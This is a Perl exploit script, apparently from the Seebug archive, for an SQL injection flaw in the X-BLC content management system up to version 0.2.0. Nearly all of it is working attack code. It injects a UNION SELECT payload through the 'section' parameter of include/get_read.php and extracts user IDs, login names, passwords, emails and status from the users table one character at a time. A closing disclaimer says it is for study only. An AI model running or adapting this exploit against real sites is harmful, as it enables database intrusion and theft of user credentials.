#!/usr/bin/perl -w # :::::::-. ... ::::::. :::. # ;;, `\';, ;; ;;;`;;;;, `;;; # `[[ [[[[\' [[[ [[[[[. \'[[ # $$, $$$$ $$$ $$$ \"Y$c$$ # 888_,o8P\'88 .d888 888 Y88 # MMMMP\"` \"YmmMMMM\"\" MMM YM # [ Discovered by dun \\ dun[at]strcpy.pl ] # ###################################################### # [ xblc <= 0.2.0 ] SQL Injection Vulnerability # ###################################################### # # Script: \"X-BLC is a dynamic web content management system written in PHP...\" # # Script site: http://www.biolawcom.de/xblc/ , http://sourceforge.net/projects/xblc/ # Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull # # Usage: perl expl.pl http://www.biolawcom.de/demo/ # ####################################################### # # [ dun / 2009 ] use IO::Socket; use Socket; use IO::Select; my @tables=(\"id\",\"login_name\",\"password\",\"email\",\"status\"); if(scalar(@ARGV) < 1) { print \"\\nUsage: perl expl.pl http://site.com/path/\\n\\n\"; exit; } foreach $t (@tables) { $i=1; print $t.\" = \"; do { $path = \"include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(\".$t.\",\".$i.\",1))+FROM+users/*\"; $host = $ARGV[0].$path; ############################################# # $page = http_query($host, $proxy, $port); # ############################################# $page = http_query($host); $page =~ /guest=(.*)\\,runTime=/; $char=$1; print chr($char); $i++; } while($char != 0); print \"\\n\"; } sub http_query { my $page=\"\"; my $url=$_[0]; if(defined($_[1]) && defined($_[2])) { $host=$_[1]; $port=$_[2]; $get=\"GET $url HTTP/1.0\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\nCookie: id=1\\r\\nConnection: Close\\r\\n\\r\\n\"; } else { $port=80; $url=~s/http:\\/\\///; $host=$url; $query=$url; $host=~s/([a-zA-Z0-9\\.]+)\\/.*/$1/; $query=~s/$host//; if ($query eq \"\") {$query=\"/\";}; $get=\"GET $query HTTP/1.0\\r\\nHost: $host\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\\r\\nCookie: id=1\\r\\nConnection: Close\\r\\n\\r\\n\"; } my $sock = IO::Socket::INET->new(PeerAddr=>\"$host\",PeerPort=>\"$port\",Proto=>\"tcp\",Timeout => 3) or return; print $sock $get; my @r = <$sock>; $page=\"@r\"; close($sock); return $page; }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论